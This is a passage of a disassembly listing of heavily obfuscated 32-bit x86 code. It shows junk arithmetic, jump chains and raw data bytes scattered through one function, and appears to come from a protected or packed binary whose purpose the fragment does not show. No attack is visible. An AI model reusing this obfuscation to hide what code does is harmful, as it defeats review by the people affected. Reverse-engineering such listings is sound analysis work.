		pop	eax
		add	ebp, 80A84021h
		jmp	loc_54774F
; ---------------------------------------------------------------------------

loc_5480DF:				; CODE XREF: sub_542C3C+B12Ej
		or	ebp, 68832D7Dh
		push	ebx
		mov	ebx, 64F73275h
		and	ebx, 0CF53C6Eh
		push	ebx
		jmp	loc_552175
; ---------------------------------------------------------------------------
a4gfCB		db '¿Ç4ƒFÁç',8,'Ç',0
		dw 452Dh
		dd 0F5CFE94Ch, 63B4FFFFh, 0ECC0CCFEh, 58C9E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548116:				; CODE XREF: sub_542C3C+8CE2j
		sub	esp, 4
		mov	[esp+2Ch+var_2C], ebp
		push	edi
		push	6AE49A1h
		pop	edi
		push	ebx
		mov	ebx, 0F951B663h
		add	edi, ebx
		jmp	loc_54BFC8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 365D68h, 242C8900h, 69E95D54h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548143:				; CODE XREF: sub_542C3C+9FACj
		sub	esp, 4
		mov	[esp+38h+var_38], eax
		mov	eax, 3CA4301Bh
		jmp	loc_553120
; ---------------------------------------------------------------------------

loc_548156:				; CODE XREF: sub_542C3C+9152j
		push	esp
		pop	edx
		jmp	loc_551274
; ---------------------------------------------------------------------------
		db 68h,	78h, 25h
		dd 8F540000h, 4832404h,	1C8B0424h, 4C48124h, 68000000h
		dd 4CB0h, 0E9242C89h, 9ED4h, 4BDh, 5EE8100h, 0E9573B5Ch
		dd 4FB6h
; ---------------------------------------------------------------------------

loc_548190:				; CODE XREF: sub_542C3C+A0FAj
		mov	edi, 25E37184h
		not	edi
		jmp	loc_552D82
; ---------------------------------------------------------------------------
		dd 0ADB52FBAh, 0E9D50168h, 4ABAh
; ---------------------------------------------------------------------------

loc_5481A8:				; CODE XREF: sub_542C3C+E4D4j
		pop	ebp
		jmp	loc_551C47
; ---------------------------------------------------------------------------
		dw 0F7B2h
		dd 0C8BEA00h, 4C48324h,	0E959EA30h, 0FFFFF1FAh
; ---------------------------------------------------------------------------

loc_5481C0:				; CODE XREF: sub_542C3C+E8DAj
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_549113
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 943EE924h, 0B9510000h, 7AC64D8Fh,	0FFED9FE9h
		dd 70EB81FFh, 5A55E376h, 72DFE9h, 7024B900h, 9CE900EEh
		dd 8100005Bh, 4C4h, 0C1E95A00h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548203:				; CODE XREF: sub_542C3C+EFDFj
		mov	[esp+34h+var_34], esi
		mov	esi, 29E1328Ah
		jmp	loc_5512AA
; ---------------------------------------------------------------------------

loc_548210:				; CODE XREF: sub_542C3C+8F24j
		push	esi
		mov	esi, 1EC53E1Bh
		not	esi
		shl	esi, 7
		xor	esi, 14D10DCEh
		neg	esi
		jmp	loc_5512CB
; ---------------------------------------------------------------------------
		dd 32FFFA01h, 0E6243481h, 583AA722h, 0A722E635h, 2434FF3Ah
		dd 0E689565Ah, 9997E9h
		db 0
; ---------------------------------------------------------------------------

loc_548245:				; CODE XREF: sub_542C3C+9A04j
		add	bl, 92h
		pop	eax
		push	eax
		push	edx
		mov	dl, 0F6h
		jmp	loc_550B8A
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 6B471D88h, 0F75EF701h, 7EBA52D7h, 956ED3Ah, 563DE9D7h
		dd 9CBA0000h, 4A5A6C66h, 5F8CC281h, 814A0457h, 591AA1F2h
		dd 7255E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548282:				; CODE XREF: sub_542C3C+CD69j
		shr	ch, 6
		jmp	loc_54C467
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E9545624h, 0CA7h, 405h, 0F3E95500h,	55000012h, 110E8CBDh
		dd 4EC833Ch, 0F7242C89h, 2C8B2414h, 4C48124h, 81000000h
		dd 3F3750EDh, 4DBF5719h, 0E97CB912h, 240Eh, 240C8B54h
		dd 5604C483h, 927182BEh, 7EEC16Fh, 94F0E9h, 4316600h, 93E99C24h
		dd 52FFFFE9h, 0C6FE0FB6h, 2454F652h, 5C26E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5482F6:				; CODE XREF: sub_542C3C+42B5j
		mov	ecx, 464D16C5h
		and	ecx, 1ECC467Ch
		neg	ecx
		inc	ecx
		xor	ecx, 3C27159Fh
		xor	ecx, 0C594EC26h
		jmp	loc_54C210
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0EC81E689h, 4, 0E9241489h, 6F48h
; ---------------------------------------------------------------------------

loc_548328:				; CODE XREF: sub_542C3C+5E10j
		xchg	ebp, [esp+40h+var_40]
		jmp	loc_54DD48
; ---------------------------------------------------------------------------
		dd 20F58166h, 0E8016672h, 330BE9h, 72EA8100h, 0E940254Bh
		dd 0AA17h, 24048B66h, 8904EC83h, 94E92414h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548357:				; CODE XREF: sub_542C3C+A208j
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		pop	ebx
		jmp	loc_54D8B3
; ---------------------------------------------------------------------------
		dw 0FE9h
		dd 5BFFFFE9h, 4C5815Dh,	81000000h, 4ECh, 243C8900h, 4921E9h
		dd 0B8505900h, 2, 0E958C201h, 0FF1h, 4EA81h, 14870000h
		dd 82EFE924h, 2DAD0000h, 16180670h, 5FE9D829h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5483AB:				; CODE XREF: sub_542C3C+C348j
		push	[esp+38h+var_34]
		pop	edi
		pop	[esp+38h+var_38]
		jmp	loc_547B54
; ---------------------------------------------------------------------------

loc_5483B8:				; CODE XREF: sub_542C3C+93F0j
		pop	ebp
		pop	ebx
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
aTSX		db 'T[é=X',0
		align 2
		dw 0C483h
		dd 66C33104h, 0A7E930FFh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5483D3:				; CODE XREF: sub_542C3C+4B1Bj
		add	esp, 4
		or	eax, eax
		jmp	loc_54E60D
; ---------------------------------------------------------------------------

loc_5483E0:				; CODE XREF: sub_542C3C+6684j
		push	edi
		mov	edi, 9884B00h
		jmp	loc_550025
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 815A0424h,	4C2h, 0C8E95000h, 5C000010h, 9C240CD2h
		dd 0FFE871E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548409:				; CODE XREF: sub_542C3C+79E9j
		add	[esp+20h+var_20], 4
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], edx
		jmp	loc_546FA4
; ---------------------------------------------------------------------------
		dd 0ED81EDD1h, 9271AA4h, 7628ED81h, 0C5811583h,	0DF8D8B33h
		dd 4EE6C181h, 0E981519Ch, 470F2C44h, 6BCE9h, 5AD10900h
		dd 3228E181h, 0E9814FBCh, 297157B1h, 1689E9h, 48B6600h
		dd 0EC815624h, 4, 4383E9h
		db 0
; ---------------------------------------------------------------------------

loc_548471:				; CODE XREF: sub_542C3C+B2EDj
		sub	ebx, 5A3B23A3h
		neg	ebx
		and	ebx, 7D4A0208h
		neg	ebx
		inc	ebx
		xor	ebx, 2135C5F8h
		add	edi, ebx
		pop	ebx
		mov	ecx, edi
		pop	edi
		jmp	loc_54F03A
; ---------------------------------------------------------------------------
		db 81h
		dd 7A37E7C2h, 81FA0140h, 7A37E7EAh, 74C28140h, 5F13FA44h
		dd 0FFEF47E9h, 241C31FFh, 8B241C33h, 4892424h, 3DEFE924h
		dd 4810000h, 424h, 2434FF00h, 83242C8Bh, 0C48104C4h, 4
		dd 4C581h, 0ED810000h, 4, 2474FF55h, 48F5D04h, 24248B24h
		dd 0B0240489h, 58C300D1h, 0FFC0B60Fh, 34FF8734h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	ebp
		mov	ebp, 55ED7604h
		sub	ebp, 0F199FD5Ch
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5485D9
; ---------------------------------------------------------------------------

loc_548516:				; CODE XREF: sub_542C3C+A67Aj
		add	ecx, 4
		jmp	loc_547D97
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0FF000000h, 81582434h, 4C4h, 6B95100h, 52479C2Fh
		dd 3EA868h, 243C8900h, 8368CD68h, 0C7815F02h, 0B9514AAh
		dd 4BDE947h, 1C890000h,	5657BB24h, 0D3F76C04h, 7AEE381h
		dd 0EB810FBCh, 0D4179FF6h, 12E9DA29h, 0F7000021h, 0F8C181D1h
		dd 0E9029973h, 4143h, 0BE243489h, 411D35D5h, 0A8E8E9h
		dd 0E7895700h, 4EC81h, 14890000h, 6A685724h, 0E965E505h
		dd 0FFFFE71Dh, 48B665Ch, 0EC815024h, 4,	0FFFF6CE9h, 87E05FFh
		dd 9A2D356Fh, 0E947C050h, 341Eh, 5FE9D0F7h
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5485CB:				; CODE XREF: sub_542C3C+EF63j
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		sub	ebp, esi
		pop	esi
		add	ebx, ebp
		jmp	loc_54BD3C
; ---------------------------------------------------------------------------

loc_5485D9:				; CODE XREF: sub_542C3C+58D5j
		xor	ebx, 676538D4h
		jmp	loc_552352
; ---------------------------------------------------------------------------

loc_5485E4:				; CODE XREF: sub_542C3C+C494j
		add	esp, 4
		push	edi
		mov	edi, 56885191h
		xor	edi, 100F2883h
		inc	edi
		shl	edi, 6
		push	eax
		mov	eax, 16B96767h
		shl	eax, 1
		sub	eax, 77B869A0h
		sub	eax, 60B0582Bh
		or	eax, 1FF56481h
		jmp	loc_54E12B
; ---------------------------------------------------------------------------
		dw 0EA30h
		dd 592434FFh, 4C481h, 0EC810000h, 4, 0B1240C89h, 0E9C8286Ah
		dd 9E53h, 83240C8Bh, 43304C4h, 24043124h, 8B240433h, 0A5F32424h
		dd 0C7386203h, 24F93842h, 72FF135Ah, 2414F738h,	5738428Fh
		dd 371D12BFh, 42D1E962h, 34FF0000h, 54535A24h, 5F7EE9h
		dd 5ECB8000h, 5519E9h
		db 0
; ---------------------------------------------------------------------------

loc_548679:				; CODE XREF: sub_542C3C+D100j
		push	39D05288h
		jmp	loc_547F7D
; ---------------------------------------------------------------------------
		db 81h
		dd 0BD51EFEAh, 21C2810Ah, 146F35Fh, 64E768C2h, 1C890000h
		dd 5292BB24h, 0E3C16A84h, 4EBC108h, 7A0DEB81h, 0E381331Ah
		dd 510F772Bh, 17C5BE56h, 0C68159E7h, 68C5749Ah,	36C7EE81h
		dd 0C681148Bh, 6E8D69F7h, 4E93EE81h, 0F6815440h, 0DF9708DEh
		dd 348BF331h, 5214E924h, 1C8B0000h, 4C48124h, 1000000h
		dd 152D5FF8h, 29526D6Bh, 0BE5655F8h, 3F9C0405h,	0F75EF589h
		dd 0F6A3E9DDh, 8950FFFFh, 0C15E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54870A:				; CODE XREF: sub_542C3C+C75Bj
		pop	ebx
		and	ebp, 2872C50h
		shl	ebp, 7
		sub	ebp, 0D655D88Ah
		sub	eax, 42B20D99h
		add	eax, ebp
		add	eax, 42B20D99h
		pop	ebp
		jmp	loc_550842
; ---------------------------------------------------------------------------
		dd 0E9028F66h, 0FFFFE546h, 8B243C33h, 2C892424h, 0A0FE924h
		dd 0E1890000h, 4C181h, 0C1830000h, 240C8704h, 5E90685Ch
		dd 34890000h, 4EC8124h,	89000000h, 0C3E92424h, 0C0FFFFEFh
		dd 0D1F608E1h, 80A1E980h, 5FE975C1h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548777:				; CODE XREF: sub_542C3C+E269j
		push	edx
		mov	edx, 78D35102h
		xor	ebp, edx
		mov	edx, [esp+20h+var_20]
		add	esp, 4
		xor	ebp, 2E532EBCh
		sub	ebp, 0C58622ACh
		mov	esi, ebp
		pop	ebp
		sub	esi, 0FFFFFFFFh
		jmp	loc_549982
; ---------------------------------------------------------------------------

loc_54879F:				; CODE XREF: sub_542C3C+AF78j
		pop	edi
		xor	edi, 3FA9539Eh
		add	edi, 4E9663BCh
		jmp	loc_552410
; ---------------------------------------------------------------------------
		db 52h,	50h, 0B8h
		dd 0B9E41B0h, 0E958C289h, 4E2h,	53243C8Bh, 0C381E389h
		dd 4, 0E904C383h, 499Bh, 7F03E281h, 0A6E93C20h,	51000069h
		dd 582434FFh, 8904C483h, 95958C7h, 243C8BF9h, 4C481h, 46E90000h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5487FB:				; CODE XREF: sub_542C3C+FACEj
		mov	ecx, 1CC6574Eh
		or	edi, ecx
		pop	ecx
		jmp	loc_552A54
; ---------------------------------------------------------------------------
aSsQ		db 'Sé*Ÿ',0
		align 2

loc_54880E:				; CODE XREF: sub_542C3C+DD08j
		sub	ebx, 1C71447Dh
		jmp	loc_54A43F
; ---------------------------------------------------------------------------

loc_548819:				; CODE XREF: sub_542C3C+A712j
		pop	eax
		jmp	loc_551F9E
; ---------------------------------------------------------------------------
		db 50h
		dd 0C388CEB0h, 0F5C8E958h, 0D028FFFFh, 5B5A66h,	0B15166D8h
		dd 0CDB151E1h, 7C54E9h
		db 0
; ---------------------------------------------------------------------------

loc_54883D:				; CODE XREF: sub_542C3C+82A1j
		shr	edi, 5
		push	edx
		mov	edx, 6AC15233h
		neg	edx
		sub	edx, 1A5433F2h
		neg	edx
		and	edx, 7ABA1DBDh
		push	ecx
		mov	ecx, 780636E5h
		add	edx, ecx
		pop	ecx
		xor	edi, edx
		pop	edx
		shr	edi, 7
		xor	edi, 0F368AEh
		add	edx, 0A7875A0h
		sub	edx, 367058F6h
		add	edx, edi
		add	edx, 367058F6h
		sub	edx, 0A7875A0h
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	loc_54941E
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 10h
aARsu		db '€ÂréU ',0
		align 4

loc_5488A8:				; CODE XREF: sub_542C3C+C608j
		mov	esp, [esp+4+var_4]
		xchg	eax, [esp+4+var_4]
		push	[esp+4+var_4]
		jmp	loc_5490EB
; ---------------------------------------------------------------------------
		dw 2489h
		dd 4EC8124h, 89000000h,	4B9240Ch, 0E9000000h, 5A10h
; ---------------------------------------------------------------------------

loc_5488CC:				; CODE XREF: sub_542C3C+8070j
		push	esi
		mov	esi, 87803ADh
		shl	esi, 2
		jmp	loc_546F9A
; ---------------------------------------------------------------------------
a5JKsei		db '5×jÇKéei',0
		align 4
		dd 8324348Bh, 62E904C4h, 0BA000047h, 7FB50C6h, 5B35C281h
		dd 0E2815C0Bh, 4C6905A1h, 8687E9h
		db 0
; ---------------------------------------------------------------------------

loc_548905:				; CODE XREF: sub_542C3C+680Dj
		inc	eax
		sub	eax, 8D418BE3h
		add	ecx, eax
		pop	eax
		push	65EBh
		jmp	loc_54F41D
; ---------------------------------------------------------------------------
		dd 42Dh, 74FF5000h, 48B0424h, 4C48324h,	5C24048Fh, 0E9243489h
		dd 0FFFFEBC6h, 0E9240489h, 4F44h, 0BF243C89h, 2, 187BE9h
		db 0
; ---------------------------------------------------------------------------

loc_548949:				; CODE XREF: sub_542C3C+6546j
		pop	eax
		shl	esi, 7
		push	ebx
		mov	ebx, 755F409Dh
		neg	ebx
		add	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 35C97AAFh
		push	ebx
		mov	ebx, 6AB35892h
		or	edx, ebx
		pop	ebx
		or	edx, 48D72FEDh
		jmp	loc_549D6A
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 1CCC6824h, 0C890000h, 55E18924h, 68CBF57h, 0EF814658h
		dd 46580688h, 15FFD89h,	44AFE9E9h, 8B660000h, 0B368240Ch
		dd 89000011h, 0E189240Ch, 76CDE957h, 0C3810000h, 4, 8B241C87h
		dd 0BBE92424h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5489BF:				; CODE XREF: sub_542C3C+E61Fj
		mov	ecx, 45973C0Dh
		shl	ecx, 6
		xor	ecx, 2987058Eh
		dec	ecx
		dec	ecx
		add	ecx, 0B3B7F938h
		add	edi, ecx
		pop	ecx
		jmp	loc_546F2D
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 9Eh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5489E3:				; CODE XREF: sub_542C3C+D236j
		push	eax
		push	[esp+10h+var_C]
		jmp	loc_54AF0A
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 0F5h
		dd 81496E7Ah, 4E4F2h, 5AD0896Fh, 7ED62D40h, 3B0503B5h
		dd 25643F07h, 245E57C6h, 0C0E9D0F7h, 47000040h,	0B189C781h
		dd 0FA893983h, 5AD1295Fh, 0C8BC801h, 8B6AE924h,	0EF000000h
		dd 0E4F78059h, 8081E780h, 0F82828EFh, 6F045Bh, 686F2CD8h
		dd 0E14h, 81E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_548A49:				; CODE XREF: sub_542C3C+5364j
		add	ebp, 4
		jmp	loc_548328
; ---------------------------------------------------------------------------
		align 2
		dw 5BF8h
		dd 83240C8Bh, 516604C4h, 43DF68h, 0A7A4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548A66:				; CODE XREF: sub_542C3C+FD5Dj
		push	eax
		mov	eax, esp
		jmp	loc_54F570
; ---------------------------------------------------------------------------

loc_548A6E:				; CODE XREF: sub_542C3C+8A86j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+24h+var_24]
		jmp	loc_54B838
; ---------------------------------------------------------------------------

loc_548A82:				; CODE XREF: sub_542C3C+C3DDj
		push	esi
		not	[esp+28h+var_28]
		pop	esi
		push	ebx
		mov	ebx, 282A060Ah
		add	esi, 272C765Bh
		jmp	loc_54D311
; ---------------------------------------------------------------------------
aI4LVsal	db '‰4$‹<$VéAl',0
		align 4
		dd 0D0305866h, 506E9h
		db 0
; ---------------------------------------------------------------------------

loc_548AAD:				; CODE XREF: sub_542C3C+9103j
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		shr	word ptr [esp+24h+var_24], cl
		pushf
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0E9C7FE79h, 2C66h, 525BF800h, 5176B551h, 0CFE9D8B5h
		dd 1FFFFF6h, 0F5005C8h,	49E901F8h, 5BFFFFFBh, 25E9DAF6h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548AF3:				; CODE XREF: sub_542C3C+BDDFj
		push	ebx
		jmp	loc_5477F9
; ---------------------------------------------------------------------------
aTsiz		db 'Té¨z',0
		dw 0F600h
aAuScu		db 'Ö€îÇéçU',0
		dd 81E90100h, 0F2C44C1h, 0E6E98147h, 5D519C4Eh,	0C5EE955h
		dd 0EA810000h, 5DE91696h, 0EC835F59h, 240C8904h, 57FB850h
		dd 83B93436h, 1CBC9FAh,	0CA0158C1h, 24143359h, 33241431h
		dd 0E95C2414h, 3D2Fh, 24048B5Ch, 950EE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548B56:				; CODE XREF: sub_542C3C+8E1Bj
		xor	eax, ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_55208A
; ---------------------------------------------------------------------------
		dd 5F9BBD55h, 0EDC114E2h, 53ED8104h, 8112181Bh,	2C4F78C5h
		dd 81DDF770h, 2408EFC5h, 0E3B85032h, 295CB235h,	0EB2158C5h
		dd 2DF9E95Dh, 4870000h,	1FAE924h, 0D3E90000h, 51FFFFE0h
		dd 0C181E189h, 4, 8704C183h, 2FE9240Ch,	33000039h, 0F65C240Ch
		dd 0B60F66F1h, 1D0DE9CCh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548BCA:				; CODE XREF: sub_542C3C+9F9Ej
		xor	ebp, edx
		jmp	loc_549257
; ---------------------------------------------------------------------------

loc_548BD1:				; CODE XREF: sub_542C3C+B2A6j
		sub	ebx, eax
		jmp	loc_551B73
; ---------------------------------------------------------------------------
		dd 287EC580h, 7EED80FDh, 0E9241C8Bh, 34C4h, 0E904EC83h
		dd 0FFFFF319h
; ---------------------------------------------------------------------------

loc_548BF0:				; CODE XREF: sub_542C3C+DD82j
		xor	[esp+34h+var_34], ebp
		xor	ebp, [esp+34h+var_34]
		pop	esp
		sub	esp, 4
		jmp	loc_549ED9
; ---------------------------------------------------------------------------
a_sN		db '_é',27h,'N',0
		db 0
; ---------------------------------------------------------------------------

loc_548C05:				; CODE XREF: sub_542C3C+CA7Ej
		sub	ebx, eax
		jmp	loc_54C62B
; ---------------------------------------------------------------------------

loc_548C0C:				; CODE XREF: sub_542C3C+E923j
		sub	edi, 224F31F9h
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_54E264
; ---------------------------------------------------------------------------
		dd 88E5C480h, 0F98858E7h, 6C9AE95Bh, 0C5810000h, 0FFD74656h
		dd 55DE801h, 4,	0E9240487h, 5053h, 809EB151h, 0E9D033C1h
		dd 0D047C980h, 0A6F180E1h, 8040C180h, 0F8E907E9h, 81FFFFE0h
		dd 0EEEB3C5h, 8DEA81EEh, 293D5019h, 6E8BE9EAh, 0BABA0000h
		dd 0E9708B09h, 1C41h
; ---------------------------------------------------------------------------

loc_548C7C:				; CODE XREF: sub_542C3C+CD56j
		sub	edi, 0FFDFB7E9h
		push	edi
		xor	[esp+40h+var_40], 1A2F4863h
		pop	ebx
		push	ecx
		jmp	loc_552932
; ---------------------------------------------------------------------------
aSsy		db 'SéY$',0
		dw 8100h
		dd 4C4h, 8535E900h, 0EA810000h,	6A457DBBh, 2D6E68h, 243C8900h
		dd 46A3B951h, 0D1F77749h, 4904E1C1h, 6651E9h, 0C8B6600h
		dd 0E6895624h, 4C681h, 0EE830000h, 24343304h, 33243431h
		dd 0E92434h, 500006Ch, 4FA43210h, 2435D8F7h, 81D7B50Fh
		dd 0A053AEAh, 28ECE973h, 34310000h, 24343324h, 8924248Bh
		dd 73E9240Ch
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548D07:				; CODE XREF: sub_542C3C+982Ej
		sub	dh, ch
		jmp	loc_54C775
; ---------------------------------------------------------------------------
		dw 5752h
		dd 3E2BF668h, 4F4F5F14h, 4890E9h
		db 0
; ---------------------------------------------------------------------------

loc_548D1D:				; CODE XREF: sub_542C3C+F63Aj
		sub	edx, esi
		pop	esi
		jmp	loc_54F0FB
; ---------------------------------------------------------------------------
		db 5Eh,	9, 0DEh
		dd 83241C8Bh, 4FE904C4h, 5100008Bh, 3536BE56h, 0B2E90885h
		dd 80000037h, 0FE591AEAh, 69C280CAh, 0E95AD408h, 2D4Fh
; ---------------------------------------------------------------------------

loc_548D50:				; CODE XREF: sub_542C3C+F89Ej
		add	esi, 24024EBh
		add	esi, ecx
		sub	esi, 24024EBh
		push	[esp+3Ch+var_3C]
		pop	ecx
		jmp	loc_54D9D7
; ---------------------------------------------------------------------------
		db 57h
		dd 0ED6611BFh, 0D2EF8130h, 815AD854h, 3416C5E7h, 0DDEF8115h
		dd 8111670Dh, 0A379B0CFh, 0D9F78126h, 89788C4Ah, 243C8BFDh
		dd 2904C483h, 0E904246Ch, 36Fh,	5D8295Ch, 7DC9549Fh, 3FF2BE56h
		dd 0EC811B9Ah, 4, 0BF243C89h, 393E4FD3h, 3C8BF801h, 4C48124h
		dd 1000000h, 4FD32DF0h,	34FF393Eh, 0E6FFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548DD2:				; CODE XREF: sub_542C3C+C2BAj
		mov	edi, ebp
		pop	ebp
		jmp	loc_551E3F
; ---------------------------------------------------------------------------
		dw 8864h
		dd 0DE98E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548DE2:				; CODE XREF: sub_542C3C+7258j
		pop	eax
		jmp	loc_55227B
; ---------------------------------------------------------------------------
		dd 0E9D831ADh, 6713h, 662414F6h, 81240C8Bh, 2C4h, 0E1C18000h
		dd 6859C820h, 127Bh, 0E9241C89h, 9890h,	315AD689h, 1DE95EF0h
		dd 31FFFFE1h, 57E9240Ch, 81FFFFDEh, 4C1h, 2D3EE900h, 4ABD0000h
		dd 29209904h, 5D04246Ch, 11BE565Bh, 0F731CC6Fh,	9DC681DEh
		dd 8138DA72h, 0FA038EEEh, 0B4EE812Eh, 55B77AFBh, 0A17244BDh
		dd 2EDC14Ch, 9ECC581h, 0CFE960C2h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548E67:				; CODE XREF: sub_542C3C+E05Dj
		pop	esi
		shl	eax, cl
		sub	esp, 4
		mov	[esp+34h+var_34], ebx
		mov	ebx, 1
		jmp	loc_548EEB
; ---------------------------------------------------------------------------
		dw 0FFBEh
aDCSfv		db 27h,'^dÁæ',8,'éä¢',0
		dw 0B200h
aVS8		db '¢(ÐéØ8',0
		align 10h
		dd 8324348Bh, 0C76804C4h, 8900003Bh, 0D5BA2414h, 553CD718h
		dd 0ABCE952h, 54560000h, 4E9555Eh
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548EB3:				; CODE XREF: sub_542C3C+70CDj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54BA50
; ---------------------------------------------------------------------------

loc_548EC3:				; CODE XREF: sub_542C3C+B225j
					; sub_542C3C+BC3Aj
		push	ecx
		push	ebx
		pop	ecx
		push	ecx
		jmp	loc_54A7AF
; ---------------------------------------------------------------------------
		dd 4AB5C681h, 0B9516274h, 2585959h, 6350E981h, 0D1F71BC1h
		dd 41A2F181h, 39E915BDh
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548EEB:				; CODE XREF: sub_542C3C+6239j
		sub	esp, 4
		mov	[esp+38h+var_38], esi
		mov	esi, 18671853h
		jmp	loc_549568
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 49BA3674h, 0C781C701h, 49BA3674h, 2BA5258h, 1000000h
		dd 24148BD7h, 4C481h, 3C870000h, 24248B24h, 0EC835166h
		dd 24048904h, 0C48018B4h, 0E68852CCh, 0A8E9F588h, 5E00000Eh
		dd 8904EC83h, 0CEBF243Ch, 0C10F8D56h, 0FF5704EFh, 535F2404h
		dd 0DD5F73BBh, 0EBC14300h, 32BA5205h, 0C1041F3Fh, 0F28103E2h
		dd 1E41432Bh, 1EB8F281h, 0BE96DBCh, 8900007Eh, 2BD242Ch
		dd 89000000h, 0E1E95DEFh, 5E000014h, 0B5C7815Fh, 0FF561419h
		dd 0E95A2434h, 482Eh
; ---------------------------------------------------------------------------

loc_548F94:				; CODE XREF: sub_542C3C+F898j
		push	3A06h
		mov	[esp+3Ch+var_3C], edi
		push	[esp+3Ch+var_38]
		mov	edi, [esp+40h+var_40]
		jmp	loc_54E6A1
; ---------------------------------------------------------------------------
aB7Rsaa		db '-B=7-RéA ',0
		dw 5A00h
		dd 12BFE950h, 0C4810000h, 4, 77DFE9h
		db 0
; ---------------------------------------------------------------------------

loc_548FC5:				; CODE XREF: sub_542C3C+74E9j
		pop	[esp+40h+var_40]
		pop	esp
		pop	ebx
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
aBcDCszz	db 'ç',8,'d',0Bh,')Ñç采',0
		align 4
		dd 5C243C87h, 89242C89h, 4C581E5h, 83000000h, 2C8704C5h
		dd 3C62E924h, 57660000h, 242C8166h, 5A664423h, 4B54E9h
		dd 240C8900h, 51A868h, 24248900h, 4240483h, 81240C8Bh
		dd 4C4h, 4B85000h, 1000000h, 24048BC1h,	9BF4E956h, 0C6810000h
		dd 1D1419E4h, 4BB5359h,	0E9000000h, 7DA8h
; ---------------------------------------------------------------------------

loc_549040:				; CODE XREF: sub_542C3C+D199j
		and	esi, ebp
		mov	ebp, [esp+34h+var_34]
		add	esp, 4
		push	7377h
		mov	[esp+34h+var_34], ebp
		mov	ebp, 2D977272h
		push	ecx
		push	4752h
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 4A0B1264h
		neg	edi
		inc	edi
		xor	edi, 0B998A7C0h
		mov	ecx, edi
		pop	edi
		add	ebp, 33E92FECh
		sub	ebp, ecx
		sub	ebp, 33E92FECh
		pop	ecx
		xor	esi, ebp
		jmp	loc_54B329
; ---------------------------------------------------------------------------
		db 41h,	0C1h, 0E9h
		dd 0EEACE903h, 248BFFFFh, 45A2E924h, 7ABD0000h,	552D906Eh
		dd 0F7243487h, 243487D6h, 0B2C5815Dh, 51592025h, 838EE9h
		dd 0FF505C00h, 58042474h, 0E924048Fh, 2DEBh, 0BE5657h
		dd 81754C4Dh, 57065AEEh, 0F6814621h, 53F546A3h,	815EF789h
		dd 7330DDEDh, 81FD016Fh, 7330DDC5h, 0AAE95F6Fh
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5490EB:				; CODE XREF: sub_542C3C+5C75j
		pop	eax
		add	esp, 4
		push	3349h
		mov	[esp+4+var_4], esi
		push	eax
		push	0FA1356Ah
		pop	eax
		add	eax, 4E1D551Bh
		jmp	loc_54B923
; ---------------------------------------------------------------------------
aLSs6		db '‹,$é™6',0
		db 0
; ---------------------------------------------------------------------------

loc_549113:				; CODE XREF: sub_542C3C+558Aj
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
